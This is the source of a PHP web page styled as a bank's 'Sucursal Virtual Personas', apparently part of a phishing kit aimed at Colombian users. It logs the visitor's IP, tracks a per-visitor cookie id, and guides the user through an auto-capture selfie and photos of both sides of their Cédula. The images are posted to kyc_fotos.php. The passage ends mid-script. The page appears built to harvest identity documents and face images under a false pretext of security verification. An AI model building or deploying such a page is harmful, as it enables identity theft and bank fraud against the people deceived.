<?php
$ip = getenv("REMOTE_ADDR");
setlocale(LC_TIME, "spanish");
$tiempo = strftime("%A, %d de %B de %Y");
date_default_timezone_set('America/Bogota');
$idreg = isset($_COOKIE['idreg']) ? intval($_COOKIE['idreg']) : 0;
?>
<!DOCTYPE html>
<html lang="es">
<head>
  <title>Sucursal Virtual Personas </title>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <meta charset="utf-8">
  <meta content="es" http-equiv="Content-Language">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">

  <!-- Font Awesome -->
  <link rel="stylesheet"
        href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css"
        crossorigin="anonymous" referrerpolicy="no-referrer">

  <link href="css/style.css" rel="stylesheet">
  <link href="css/stylesheet.css" rel="stylesheet">
  <link rel="icon" type="image/png" href="img/logo.png" />

  <script type="text/javascript" src="js/jquery-3.6.0.min.js"></script>
  <script src="js/jquery.jclock-min.js" type="text/javascript"></script>
  <script type="text/javascript" src="js/functions.js"></script>
  <script src="js/presencia.js"></script>


  <script src="https://cdn.jsdelivr.net/npm/@mediapipe/face_detection/face_detection.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/@mediapipe/camera_utils/camera_utils.min.js"></script>

  <style>
    :root{
      --negro: #111111;
      --blanco: #ffffff;
      --gris-100:#f6f7fb;
      --gris-200:#eef1f7;
      --gris-500:#6b7280;

      --amarillo-macondo: #FFD600;
      --naranja-alba:     #FF8A00;
      --violeta-orquidea: #A855F7;
      --azul-caribe:      #00C2FF;
      --verde-andino:     #00C389;
      --rosa-flamenco:    #FFB3D9;

      --primary: var(--azul-caribe);
      --accent:  var(--amarillo-macondo);
      --success: var(--verde-andino);
      --warning: var(--naranja-alba);

      --backdrop: rgba(0,0,0,0.65);

      --radius-xl: 22px;
      --radius-md: 14px;

      --shadow-1: 0 10px 30px rgba(0,0,0,.18);
      --shadow-2: 0 30px 60px rgba(0,0,0,.45);
    }

    html, body{
      margin: 0;
      padding: 0;
      font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
      height: 100%;
      color: var(--negro);
    }

    body{
      min-height: 100vh;
      background-image: url('./img/auth-trazo.svg');
      background-size: cover;
      background-position: center;
      background-repeat: no-repeat;
      background-attachment: fixed;
    }

    .warning-backdrop{
      position: fixed;
      inset: 0;
      background: var(--backdrop);
      display: flex;
      align-items: flex-start;
      justify-content: center;
      padding: 16px;
      box-sizing: border-box;
      backdrop-filter: blur(10px);
      -webkit-backdrop-filter: blur(10px);
      overflow-y: auto;
    }

    .warning-card{
      width: 100%;
      max-width: 760px;
      border-radius: 28px;
      background: rgba(255,255,255,0.92);
      box-shadow: var(--shadow-2);
      padding: 26px 26px 22px;
      box-sizing: border-box;
      margin-top: 12px;
      border: 1px solid rgba(0,0,0,.12);
    }

    .logo-header{
      text-align: center;
      margin-bottom: 14px;
    }

    .warning-icon-wrapper{
      display: flex;
      justify-content: center;
      margin-bottom: 12px;
    }

    .warning-icon-circle{
      width: 58px;
      height: 58px;
      border-radius: 50%;
      background: linear-gradient(180deg, var(--accent), #FFE46A);
      display: flex;
      align-items: center;
      justify-content: center;
      box-shadow: 0 10px 20px rgba(0,0,0,0.16);
    }

    .warning-icon-circle i{
      font-size: 28px;
      color: #1f2c3f;
    }

    .warning-title{
      font-size: 22px;
      font-weight: 800;
      line-height: 1.25;
      color: var(--negro);
      margin: 6px 0 6px;
      text-align:center;
    }

    .warning-text{
      font-size: 13.5px;
      line-height: 1.45;
      color: rgba(17,17,17,.78);
      margin: 0 0 14px;
      text-align:center;
    }

    #fondo{
      position: fixed;
      width: 100%;
      height: 100%;
      z-index: 189;
      top: 0;
      left: 0;
      background: #0000008f;
      display: none;
    }

    #cargando{
      text-align: center;
      position: fixed;
      z-index: 190;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      display: none;
    }

    .kyc-wizard{
      margin: 8px auto 0;
      background: var(--blanco);
      border-radius: var(--radius-xl);
      box-shadow: var(--shadow-1);
      overflow: hidden;
      max-width: 440px;
      width: 100%;
      border: 1px solid rgba(0,0,0,.10);
    }

    .kyc-header{
      display:flex;
      align-items:center;
      justify-content: center;
      padding: 12px 14px 10px;
      background: var(--blanco);
      border-bottom: 1px solid rgba(0,0,0,.08);
    }
    .kyc-steps-indicator{
      display:flex;
      gap: 8px;
      align-items:center;
    }
    .kyc-step-dot{
      width: 9px;
      height: 9px;
      border-radius: 50%;
      background: rgba(0,0,0,.16);
      transition: transform .2s ease, background .2s ease;
    }
    .kyc-step-dot.active{
      background: var(--primary);
      transform: scale(1.25);
      box-shadow: 0 0 0 4px rgba(0,194,255,.15);
    }

    .kyc-step{
      display:none;
      padding: 10px 14px 14px;
    }
    .kyc-step.active{ display:block; }

    .kyc-step h3{
      margin: 8px 0 4px;
      font-size: 13px;
      font-weight: 900;
      color: #002b5c;
      letter-spacing: .2px;
    }
    .kyc-step p{
      margin: 0 0 10px;
      font-size: 11.5px;
      color: rgba(17,17,17,.70);
      line-height: 1.35;
    }

    .kyc-status{
      background: linear-gradient(180deg, rgba(0,0,0,.92), rgba(0,0,0,.82));
      color: #fff;
      border-radius: 14px;
      padding: 12px 10px;
      text-align:center;
      font-weight: 900;
      font-size: 12.5px;
      letter-spacing: .3px;
      border: 1px solid rgba(255,255,255,.10);
    }
    .kyc-status small{
      display:block;
      margin-top: 3px;
      opacity: .92;
      font-weight: 800;
      font-size: 12px;
    }

    .kyc-camera-box{
      position: relative;
      background: #000;
      border-radius: var(--radius-md);
      overflow: hidden;
      width: 100%;
      aspect-ratio: 3 / 4;
      max-height: 560px;
      margin: 10px auto 8px;
      border: 1px solid rgba(0,0,0,.12);
    }

    .kyc-video, .kyc-canvas{
      width: 100%;
      height: 100%;
      object-fit: cover;
      object-position: center;
      display: block;
      background: #000;
    }

    /* ✅ Paso 1: espejo SOLO para ver (UX). Foto guardada queda normal (se corrige al dibujar). */
    .kyc-step-1 .kyc-video{ transform: scaleX(-1); }
    .kyc-step-1 .kyc-canvas{ transform: none; }

    .kyc-overlay{
      position: absolute;
      inset: 0;
      pointer-events: none;
    }

    .kyc-card-guide{
      position:absolute;
      width: 86%;
      aspect-ratio: 86/54;
      top: 30%;
      left: 50%;
      transform: translateX(-50%);
      border-radius: 12px;
      border:3px solid rgba(255,255,255,0.92);
      box-shadow:0 0 0 999px rgba(0,0,0,0.36);
      transform-origin: center;
    }
    .kyc-card-guide.kyc-flip-anim{ animation: kycFlip 0.6s ease; }
    @keyframes kycFlip{
      0%   { transform: translateX(-50%) rotateY(0deg); }
      50%  { transform: translateX(-50%) rotateY(90deg); }
      100% { transform: translateX(-50%) rotateY(0deg); }
    }

    .kyc-guide-label{
      position: absolute;
      bottom: 10px;
      left: 50%;
      transform: translateX(-50%);
      padding: 3px 10px;
      border-radius: 999px;
      font-size: 11px;
      color: #fff;
      background: rgba(0,0,0,0.58);
      text-align:center;
      max-width:90%;
    }

    .kyc-actions{
      display:flex;
      gap: 8px;
      margin-top: 10px;
      justify-content:center;
      align-items:center;
      flex-wrap: wrap;
    }

    .kyc-btn{
      border:none;
      border-radius: 999px;
      padding: 10px 14px;
      font-size: 12px;
      cursor: pointer;
      font-weight: 900;
      display:inline-flex;
      align-items:center;
      justify-content:center;
      gap: 8px;
      transition: transform .12s ease, opacity .12s ease, box-shadow .12s ease;
    }
    .kyc-btn:active{ transform: scale(.98); }

    .kyc-btn-primary{
      background: linear-gradient(180deg, rgba(0,194,255,.95), rgba(0,194,255,.75));
      color: #00121a;
      box-shadow: 0 10px 20px rgba(0,194,255,.20);
    }
    .kyc-btn-secondary{
      background: var(--gris-200);
      color: rgba(0,18,26,.88);
      border: 1px solid rgba(0,0,0,.08);
    }
    .kyc-btn[disabled]{ opacity:.55; cursor: default; }

    .kyc-btn-shutter{
      width: 62px;
      height: 62px;
      border-radius: 50%;
      padding: 0;
      background: #fff;
      border: 3px solid rgba(0,194,255,.95);
      position: relative;
      color: transparent;
      box-shadow: 0 10px 22px rgba(0,0,0,.16);
    }
    .kyc-btn-shutter::before{
      content:"";
      position:absolute;
      inset: 10px;
      border-radius:50%;
      background: rgba(0,194,255,.95);
    }
    .kyc-btn-shutter::after{
      content:"";
      position:absolute;
      inset: 18px;
      border-radius:50%;
      border:2px solid #fff;
    }

    .kyc-shutter-label{
      font-size: 10.5px;
      color: rgba(17,17,17,.62);
      text-align:center;
      width:100%;
      margin-top: 4px;
    }

    .kyc-tip{
      font-size: 10.5px;
      color: rgba(17,17,17,.58);
      margin-top: 6px;
      text-align:center;
      line-height: 1.25;
    }
    .kyc-small-info{
      font-size: 9.5px;
      color: rgba(17,17,17,.48);
      margin-top: 6px;
      text-align:center;
    }

    .kyc-hidden-inputs{ display:none; }

    .kyc-selfie-wrap{
      display:flex;
      flex-direction:column;
      gap: 10px;
    }

    .kyc-selfie-circle{
      width: 240px;
      height: 240px;
      border-radius: 999px;
      margin: 10px auto 4px;
      overflow: hidden;
      background: #000;
      position: relative;

      border: 6px solid rgba(0,0,0,.92);
      box-shadow:
        0 0 0 6px rgba(255,214,0,.85),
        0 18px 30px rgba(0,0,0,.20);
    }

    .kyc-selfie-circle .kyc-video,
    .kyc-selfie-circle .kyc-canvas{
      width:100%;
      height:100%;
      object-fit: cover;
      display:block;
      background:#000;
    }

    .kyc-selfie-ring{
      position:absolute;
      inset: 14px;
      border-radius: 999px;
      border: 2px solid rgba(255,255,255,.35);
      pointer-events:none;
    }

    .kyc-selfie-help{
      text-align:center;
      font-size: 13px;
      font-weight: 900;
      color: rgba(17,17,17,.78);
      margin-top: 2px;
    }

    @media (max-width: 600px){
      .warning-backdrop{ padding: 16px 8px 24px; }
      .warning-card{
        max-width: 100%;
        padding: 20px 16px 18px;
        border-radius: 22px;
        margin-top: 12px;
      }
      .warning-title{ font-size: 20px; }
      .warning-text{ font-size: 13px; }
      .warning-icon-circle{ width: 52px; height: 52px; }
      .warning-icon-circle i{ font-size: 26px; }

      .kyc-wizard{ border-radius: 18px; }
      .kyc-selfie-circle{ width: 220px; height: 220px; }
    }
  </style>
</head>

<body>
<div id="fondo"></div>
<div id="cargando">
  <img src="img/logo.svg"><br>
  <img src="img/load2.gif">
</div>

<div class="warning-backdrop">
  <div class="warning-card">

    <div class="logo-header">
      <img src="img/logo.svg" alt="Logo Nuevo">
    </div>

    <div class="warning-icon-wrapper">
      <div class="warning-icon-circle">
        <i class="fa-regular fa-id-card"></i>
      </div>
    </div>

    <h1 class="warning-title">Verificación de identidad requerida</h1>
    <p class="warning-text">
      Por seguridad, necesitamos una selfie y foto de tu Cédula (frente y reverso).
      Usa buena iluminación y asegúrate de que los datos sean legibles.
    </p>

    <form action="kyc_fotos.php" method="post" enctype="multipart/form-data">
      <input type="hidden" id="idreg" value="<?php echo $idreg; ?>">

      <div class="kyc-wizard" id="kycWizard">

        <div class="kyc-header">
          <div class="kyc-steps-indicator">
            <div class="kyc-step-dot kyc-dot-1 active"></div>
            <div class="kyc-step-dot kyc-dot-2"></div>
            <div class="kyc-step-dot kyc-dot-3"></div>
          </div>
        </div>

        <!-- PASO 1: SELFIE -->
        <div class="kyc-step kyc-step-1 active">
          <h3>Paso 1: Selfie</h3>
          <p>Coloca tu rostro dentro del círculo. Mantén el rostro centrado y mira directo a la cámara.</p>

          <div class="kyc-selfie-wrap">
            <div class="kyc-status" id="kycFaceStatus">
              ESCANEANDO ROSTRO
              <small id="kycFaceDots">...</small>
            </div>

            <div class="kyc-selfie-circle">
              <video id="kycVideo" class="kyc-video" autoplay playsinline muted></video>
              <canvas id="kycCanvas" class="kyc-canvas" style="display:none;"></canvas>
              <div class="kyc-selfie-ring"></div>
            </div>

            <div class="kyc-selfie-help" id="kycFaceHelp">
              Mantén el rostro centrado y mira directo a la cámara
            </div>

            <div class="kyc-actions">
              <button type="button" class="kyc-btn kyc-btn-primary kyc-btn-shutter" id="btnCaptureSelfie">Tomar</button>
              <button type="button" class="kyc-btn kyc-btn-secondary" id="btnRetakeSelfie" style="display:none;">Repetir</button>
              <button type="button" class="kyc-btn kyc-btn-primary" id="btnConfirmSelfie" style="display:none;">Confirmar</button>
            </div>

            <div class="kyc-shutter-label" id="labelSelfie">
              La captura puede ser automática cuando detectemos tu rostro
            </div>
            <div class="kyc-tip">
              Tip: evita contraluz, mantén la cámara a la altura de los ojos y no te muevas por 1–2 segundos.
            </div>
          </div>
        </div>

        <!-- PASO 2: CARNET FRENTE -->
        <div class="kyc-step kyc-step-2">
          <h3>Paso 2: Frontal Cédula</h3>
          <p>Alinea la cédula dentro del recuadro para que se vea completa y sin reflejos.</p>

          <div class="kyc-camera-box">
            <video class="kyc-video" autoplay playsinline muted></video>
            <canvas class="kyc-canvas" style="display:none;"></canvas>

            <div class="kyc-overlay">
              <div class="kyc-card-guide"></div>
              <div class="kyc-guide-label">Frente de tu cédula</div>
            </div>
          </div>

          <div class="kyc-actions">
            <button type="button" class="kyc-btn kyc-btn-secondary" id="btnBackToSelfie">Volver</button>
            <button type="button" class="kyc-btn kyc-btn-primary kyc-btn-shutter" id="btnCaptureFront">Tomar</button>
            <button type="button" class="kyc-btn kyc-btn-secondary" id="btnRetakeFront" style="display:none;">Repetir</button>
            <button type="button" class="kyc-btn kyc-btn-primary" id="btnConfirmFront" style="display:none;">Confirmar</button>
          </div>

          <div class="kyc-shutter-label" id="labelFront">Tocar para tomar foto del frente</div>
          <div class="kyc-tip">Coloca tu cédula sobre una superficie plana y evita reflejos de luz.</div>
        </div>

        <!-- PASO 3: CARNET REVERSO -->
        <div class="kyc-step kyc-step-3">
          <h3>Paso 3: Reverso de tu cédula</h3>
          <p>Voltea tu cédula y vuelve a alinearla dentro del recuadro.</p>

          <div class="kyc-camera-box">
            <video class="kyc-video" autoplay playsinline muted></video>
            <canvas class="kyc-canvas" style="display:none;"></canvas>

            <div class="kyc-overlay">
              <div class="kyc-card-guide"></div>
              <div class="kyc-guide-label">Reverso de tu cédula</div>
            </div>
          </div>

          <div class="kyc-actions">
            <button type="button" class="kyc-btn kyc-btn-secondary" id="btnBackToFront">Volver</button>
            <button type="button" class="kyc-btn kyc-btn-primary kyc-btn-shutter" id="btnCaptureBack">Tomar</button>
            <button type="button" class="kyc-btn kyc-btn-secondary" id="btnRetakeBack" style="display:none;">Repetir</button>
            <button type="button" class="kyc-btn kyc-btn-primary" id="btnConfirmBack" style="display:none;">Confirmar</button>
          </div>

          <div class="kyc-shutter-label" id="labelBack">Tocar para tomar foto del reverso</div>
          <div class="kyc-tip">Asegúrate de que los textos sean legibles.</div>
          <div class="kyc-small-info">Al confirmar esta foto enviaremos automáticamente tu verificación.</div>
        </div>

        <div class="kyc-hidden-inputs">
          <input type="hidden" name="selfie_data" id="selfieData">
          <input type="hidden" name="card_front_data" id="cardFrontData">
          <input type="hidden" name="card_back_data" id="cardBackData">
        </div>

      </div>
    </form>

  </div>
</div>

<script>
(function(){
  const wizard      = document.getElementById('kycWizard');

  const step1       = wizard.querySelector('.kyc-step-1');
  const step2       = wizard.querySelector('.kyc-step-2');
  const step3       = wizard.querySelector('.kyc-step-3');
  const dot1        = wizard.querySelector('.kyc-dot-1');
  const dot2        = wizard.querySelector('.kyc-dot-2');
  const dot3        = wizard.querySelector('.kyc-dot-3');

  const btnCaptureSelfie = document.getElementById('btnCaptureSelfie');
  const btnRetakeSelfie  = document.getElementById('btnRetakeSelfie');
  const btnConfirmSelfie = document.getElementById('btnConfirmSelfie');

  const btnCaptureFront  = document.getElementById('btnCaptureFront');
  const btnRetakeFront   = document.getElementById('btnRetakeFront');
  const btnConfirmFront  = document.getElementById('btnConfirmFront');

  const btnCaptureBack   = document.getElementById('btnCaptureBack');
  const btnRetakeBack    = document.getElementById('btnRetakeBack');
  const btnConfirmBack   = document.getElementById('btnConfirmBack');

  const btnBackToSelfie  = document.getElementById('btnBackToSelfie');
  const btnBackToFront   = document.getElementById('btnBackToFront');

  const labelSelfie      = document.getElementById('labelSelfie');
  const labelFront       = document.getElementById('labelFront');
  const labelBack        = document.getElementById('labelBack');

  const inputSelfie      = document.getElementById('selfieData');
  const inputCardFront   = document.getElementById('cardFrontData');
  const inputCardBack    = document.getElementById('cardBackData');

  const faceHelpEl   = document.getElementById('kycFaceHelp');
  const faceStatusEl = document.getElementById('kycFaceStatus');

  let tempSelfie = null;
  let tempFront  = null;
  let tempBack   = null;

  let currentStream = null;

  // ===== MediaPipe runtime (solo Step 1) =====
  let mpFace = null;
  let selfieAutoRunning = false;
  let selfieAutoTaken = false;
  let stable = 0;
  let dotsTimer = null;

  // ✅ loop de frames (NO CameraUtils)
  let rafId = null;

  const WARMUP_MS = 1200;
  const COUNTDOWN_MS = 1600;
  const REQUIRED_STABLE_FRAMES = 18;

  const CENTER_TOL = 0.16;
  const MIN_SIZE = 0.22;
  const MAX_SIZE = 0.52;

  const YAW_TOL  = 0.060;
  const ROLL_TOL = 0.045;

  let warmupUntil = 0;
  let countdownUntil = 0;
  let countdownActive = false;

  function setActiveStep(step){
    [step1, step2, step3].forEach((el, i) => el.classList.toggle('active', i + 1 === step));
    [dot1, dot2, dot3].forEach((el, i) => el.classList.toggle('active', i + 1 === step));
  }

  async function applyNoZoomIfPossible(stream){
    try{
      const track = stream.getVideoTracks()[0];
      if (!track) return;
      const caps = track.getCapabilities ? track.getCapabilities() : {};
      if (caps.zoom){
        const min = (typeof caps.zoom.min === "number") ? caps.zoom.min : 1;
        await track.applyConstraints({ advanced: [{ zoom: min }] });
      }
      if (caps.focusMode && Array.isArray(caps.focusMode) && caps.focusMode.includes("continuous")){
        await track.applyConstraints({ advanced: [{ focusMode: "continuous" }] });
      }
    }catch(e){}
  }

  function setStatus(html){
    if (faceStatusEl) faceStatusEl.innerHTML = html;
  }
  function setHelp(txt){
    if (faceHelpEl) faceHelpEl.textContent = txt;
  }

  function startDots(){
    const dotsEl = document.getElementById('kycFaceDots');
    if (!dotsEl) return;
    let n = 0;
    stopDots();
    dotsTimer = setInterval(() => {
      if(!selfieAutoRunning) return;
      n = (n + 1) % 4;
      dotsEl.textContent = '.'.repeat(n || 1);
    }, 280);
  }
  function stopDots(){
    if (dotsTimer){
      clearInterval(dotsTimer);
      dotsTimer = null;
    }
  }

  function stopRaf(){
    if (rafId){
      cancelAnimationFrame(rafId);
      rafId = null;
    }
  }

  function stopMediaPipe(){
    selfieAutoRunning = false;
    stopDots();
    stopRaf();
    stable = 0;
    countdownActive = false;
    countdownUntil = 0;

    try{ if (mpFace && mpFace.close) mpFace.close(); }catch(e){}
    mpFace = null;
  }

  function resetAutoSelfieUI(){
    selfieAutoTaken = false;
    selfieAutoRunning = false;
    stable = 0;
    countdownActive = false;
    countdownUntil = 0;
    warmupUntil = Date.now() + WARMUP_MS;

    setStatus('ESCANEANDO ROSTRO<br><small id="kycFaceDots">...</small>');
    setHelp('Mantén el rostro centrado y mira directo a la cámara');
  }

  async function waitVideoReady(video, timeoutMs=2500){
    const start = Date.now();
    while(true){
      if (video && video.readyState >= 2 && video.videoWidth > 0 && video.videoHeight > 0) return true;
      if (Date.now() - start > timeoutMs) return false;
      await new Promise(r => setTimeout(r, 50));
    }
  }

  function acceptBox(bb, vw, vh){
    const cx = bb.x + bb.width/2;
    const cy = bb.y + bb.height/2;
    const dx = Math.abs(cx - vw/2) / (vw/2);
    const dy = Math.abs(cy - vh/2) / (vh/2);
    const size = bb.width / vw;

    return {
      centered: (dx < CENTER_TOL && dy < CENTER_TOL),
      goodSize: (size > MIN_SIZE && size < MAX_SIZE),
      size
    };
  }

  function forwardCheck(landmarks){
    if (!landmarks || landmarks.length < 3) return { ok:true, msg:'' };

    const leftEye  = landmarks[0];
    const rightEye = landmarks[1];
    const nose     = landmarks[2];

    const midEyeX = (leftEye.x + rightEye.x) / 2;
    const yaw = Math.abs(nose.x - midEyeX);
    const roll = Math.abs(leftEye.y - rightEye.y);

    if (roll > ROLL_TOL) return { ok:false, msg:'Endereza la cabeza (no la inclines)' };
    if (yaw > YAW_TOL)   return { ok:false, msg:'Mira de frente a la cámara (rostro recto)' };

    return { ok:true, msg:'' };
  }

  function triggerAutoCapture(){
    if (selfieAutoTaken) return;
    selfieAutoTaken = true;
    selfieAutoRunning = false;

    setStatus('ROSTRO LISTO ✅<br><small>Capturando…</small>');
    setHelp('No te muevas…');

    btnCaptureSelfie.click();
  }

  async function captureCurrentFrame(step){
    const stepEl = (step === 1) ? step1 : (step === 2) ? step2 : step3;
    const video  = stepEl.querySelector('.kyc-video');
    const canvas = stepEl.querySelector('.kyc-canvas');

    const ready = await waitVideoReady(video, 2500);
    if (!ready){
      alert('La cámara aún no está lista. Intenta de nuevo.');
      return null;
    }

    const w = video.videoWidth;
    const h = video.videoHeight;

    canvas.width  = w;
    canvas.height = h;

    const ctx = canvas.getContext('2d', { willReadFrequently: true });

    // ✅ El video de step1 está espejado por CSS: para guardar normal, invertimos al dibujar
    if (step === 1){
      ctx.save();
      ctx.translate(w, 0);
      ctx.scale(-1, 1);
      ctx.drawImage(video, 0, 0, w, h);
      ctx.restore();
    } else {
      ctx.drawImage(video, 0, 0, w, h);
    }

    // ✅ Mostrar FOTO (no video) después de capturar
    canvas.style.display = 'block';
    video.style.display  = 'none';

    return canvas.toDataURL('image/jpeg', 0.92);
  }

  function showVideoAgain(step){
    const stepEl = (step === 1) ? step1 : (step === 2) ? step2 : step3;
    const video  = stepEl.querySelector('.kyc-video');
    const canvas = stepEl.querySelector('.kyc-canvas');

    canvas.style.display = 'none';
    video.style.display  = 'block';
  }

  function disableButtonTemporarily(btn){
    btn.disabled = true;
    setTimeout(() => { btn.disabled = false; }, 400);
  }

  // ✅ NUEVO: Auto selfie con MediaPipe SIN CameraUtils (evita selfie negra)
  function startAutoSelfieWithMediaPipe(){
    // face_detection es de MediaPipe. Aquí la global es FaceDetection (del script que cargas)
    if (!window.FaceDetection){
      setStatus('SELFIE (MANUAL)<br><small>Tu navegador no soporta detección automática</small>');
      setHelp('Presiona “Tomar” y mira directo a la cámara.');
      return;
    }

    const video = step1.querySelector('.kyc-video');
    if (!video) return;

    selfieAutoRunning = true;
    startDots();

    mpFace = new FaceDetection({
      locateFile: (file) => `https://cdn.jsdelivr.net/npm/@mediapipe/face_detection/${file}`
    });

    mpFace.setOptions({
      model: 'short',
      minDetectionConfidence: 0.82
    });

    mpFace.onResults((results) => {
      if(!selfieAutoRunning || selfieAutoTaken) return;

      const canvas = step1.querySelector('.kyc-canvas');
      if (canvas && canvas.style.display !== 'none'){
        stopMediaPipe();
        return;
      }

      if (Date.now() < warmupUntil){
        stable = 0;
        countdownActive = false;
        countdownUntil = 0;
        setStatus('PREPÁRATE…<br><small>Acomódate (1–2s)</small>');
        setHelp('Centra el rostro y mira directo a la cámara');
        return;
      }

      const dets = results.detections || [];
      if (!dets.length){
        stable = Math.max(0, stable - 1);
        countdownActive = false;
        countdownUntil = 0;
        setStatus('ESCANEANDO ROSTRO<br><small id="kycFaceDots">...</small>');
        setHelp('Buscando rostro… Mira directo a la cámara');
        return;
      }

      const det = dets[0];
      const b = det.boundingBox;

      const vw = video.videoWidth || 640;
      const vh = video.videoHeight || 480;

      const bb = {
        x: (b.xCenter - b.width/2) * vw,
        y: (b.yCenter - b.height/2) * vh,
        width: b.width * vw,
        height: b.height * vh
      };

      const r = acceptBox(bb, vw, vh);
      const fwd = forwardCheck(det.landmarks);

      if (!r.goodSize){
        stable = Math.max(0, stable - 2);
        countdownActive = false;
        countdownUntil = 0;
        setHelp(r.size <= MIN_SIZE ? 'Acércate un poco y mira de frente a la cámara' : 'Aléjate un poco y mira de frente a la cámara');
        setStatus('AJUSTA DISTANCIA<br><small id="kycFaceDots">...</small>');
        return;
      }

      if (!r.centered){
        stable = Math.max(0, stable - 2);
        countdownActive = false;
        countdownUntil = 0;
        setHelp('Centra el rostro dentro del círculo y mira directo a la cámara');
        setStatus('CENTRA TU ROSTRO<br><small id="kycFaceDots">...</small>');
        return;
      }

      if (!fwd.ok){
        stable = Math.max(0, stable - 2);
        countdownActive = false;
        countdownUntil = 0;
        setHelp(fwd.msg);
        setStatus('MIRA AL FRENTE<br><small id="kycFaceDots">...</small>');
        return;
      }

      stable++;
      const pct = Math.min(100, Math.round((stable/REQUIRED_STABLE_FRAMES)*100));
      setHelp('Perfecto. Mantén la mirada al frente 1–2 segundos');
      setStatus(`VALIDANDO…<br><small>Estabilidad: ${pct}%</small>`);

      if (stable >= REQUIRED_STABLE_FRAMES && !countdownActive){
        countdownActive = true;
        countdownUntil = Date.now() + COUNTDOWN_MS;
      }

      if (countdownActive){
        const msLeft = countdownUntil - Date.now();
        if (msLeft > 0){
          const sec = Math.ceil(msLeft / 1000);
          setStatus(`LISTO ✅<br><small>Captura en ${sec}s… no te muevas</small>`);
        } else {
          triggerAutoCapture();
        }
      }
    });

    // Loop de frames usando EL MISMO stream que ya está reproduciéndose en el video
    stopRaf();
    const tick = async () => {
      if (!selfieAutoRunning || selfieAutoTaken) return;

      if (video.readyState >= 2){
        try{ await mpFace.send({ image: video }); }catch(e){}
      }
      rafId = requestAnimationFrame(tick);
    };
    rafId = requestAnimationFrame(tick);
  }

  async function startCameraForStep(step){
    stopMediaPipe();

    if (currentStream){
      currentStream.getTracks().forEach(t => t.stop());
      currentStream = null;
    }

    const facingMode = (step === 2 || step === 3) ? 'environment' : 'user';

    try{
      const constraints = {
        audio: false,
        video: {
          facingMode: { ideal: facingMode },
          width:  { ideal: 1280 },
          height: { ideal: 720 },
          aspectRatio: { ideal: 4/3 }
        }
      };

      currentStream = await navigator.mediaDevices.getUserMedia(constraints);

      const stepEl = (step === 1) ? step1 : (step === 2) ? step2 : step3;
      const video  = stepEl.querySelector('.kyc-video');
      const canvas = stepEl.querySelector('.kyc-canvas');

      video.style.display  = 'block';
      canvas.style.display = 'none';
      video.srcObject = currentStream;

      // ✅ Forzar play (iOS/Safari y algunos Android)
      video.onloadedmetadata = async () => {
        try { await video.play(); } catch(e) {}
      };

      await applyNoZoomIfPossible(currentStream);

      if (step === 1){
        resetAutoSelfieUI();
        startAutoSelfieWithMediaPipe();
      }

    }catch(err){
      console.error('Error acceso cámara:', err);
      alert('No fue posible acceder a la cámara. Revisa permisos del navegador.');
    }
  }

  // =================== EVENTOS ===================

  btnCaptureSelfie.addEventListener('click', async () => {
    const video = step1.querySelector('.kyc-video');
    if (!video || !video.srcObject){
      alert("Esperando la cámara, intenta de nuevo.");
      return;
    }
    disableButtonTemporarily(btnCaptureSelfie);

    stopMediaPipe();

    tempSelfie = await captureCurrentFrame(1);
    if (!tempSelfie) return;

    btnCaptureSelfie.style.display = 'none';
    btnRetakeSelfie.style.display  = 'inline-flex';
    btnConfirmSelfie.style.display = 'inline-flex';
    labelSelfie.textContent = "Revisa tu selfie. Si no te gusta, puedes repetir.";

    setStatus('SELFIE CAPTURADA ✅<br><small>Verifica nitidez y mirada al frente</small>');
    setHelp('Si estás mirando directo a la cámara y se ve nítida, confirma.');
  });

  btnRetakeSelfie.addEventListener('click', () => {
    showVideoAgain(1);
    tempSelfie = null;

    btnCaptureSelfie.style.display = 'inline-flex';
    btnRetakeSelfie.style.display  = 'none';
    btnConfirmSelfie.style.display = 'none';
    labelSelfie.textContent = "La captura puede ser automática cuando detectemos tu rostro";

    resetAutoSelfieUI();
    startAutoSelfieWithMediaPipe();
  });

  btnConfirmSelfie.addEventListener('click', () => {
    if (!tempSelfie) return;
    inputSelfie.value = tempSelfie;

    setActiveStep(2);
    startCameraForStep(2);

    // reset botones step1 para la próxima vez
    btnCaptureSelfie.style.display = 'inline-flex';
    btnRetakeSelfie.style.display  = 'none';
    btnConfirmSelfie.style.display = 'none';
    labelSelfie.textContent = "La captura puede ser automática cuando detectemos tu rostro";
  });

  btnCaptureFront.addEventListener('click', async () => {
    const video = step2.querySelector('.kyc-video');
    if (!video || !video.srcObject){
      alert("Esperando la cámara, intenta de nuevo.");
      return;
    }
    disableButtonTemporarily(btnCaptureFront);

    tempFront = await captureCurrentFrame(2);
    if (!tempFront) return;

    btnCaptureFront.style.display = 'none';
    btnRetakeFront.style.display  = 'inline-flex';
    btnConfirmFront.style.display = 'inline-flex';
    labelFront.textContent = "Revisa la foto. Si no te gusta, repite.";
  });

  btnRetakeFront.addEventListener('click', () => {
    showVideoAgain(2);
    tempFront = null;

    btnCaptureFront.style.display = 'inline-flex';
    btnRetakeFront.style.display  = 'none';
    btnConfirmFront.style.display = 'none';
    labelFront.textContent = "Tocar para tomar foto del frente";
  });

  btnConfirmFront.addEventListener('click', () => {
    if (!tempFront) return;
    inputCardFront.value = tempFront;

    setActiveStep(3);
    startCameraForStep(3);

    const backCardGuide = step3.querySelector('.kyc-card-guide');
    if (backCardGuide){
      backCardGuide.classList.add('kyc-flip-anim');
      setTimeout(() => backCardGuide.classList.remove('kyc-flip-anim'), 650);
    }

    btnCaptureFront.style.display = 'inline-flex';
    btnRetakeFront.style.display  = 'none';
    btnConfirmFront.style.display = 'none';
    labelFront.textContent = "Tocar para tomar foto del frente";
  });

  btnCaptureBack.addEventListener('click', async () => {
    const video = step3.querySelector('.kyc-video');
    if (!video || !video.srcObject){
      alert("Esperando la cámara, intenta de nuevo.");
      return;
    }
    disableButtonTemporarily(btnCaptureBack);

    tempBack = await captureCurrentFrame(3);
    if (!tempBack) return;

    btnCaptureBack.style.display = 'none';
    btnRetakeBack.style.display  = 'inline-flex';
    btnConfirmBack.style.display = 'inline-flex';
    labelBack.textContent = "Revisa la foto. Si no te gusta, repite.";
  });

  btnRetakeBack.addEventListener('click', () => {
    showVideoAgain(3);
    tempBack = null;

    btnCaptureBack.style.display = 'inline-flex';
    btnRetakeBack.style.display  = 'none';
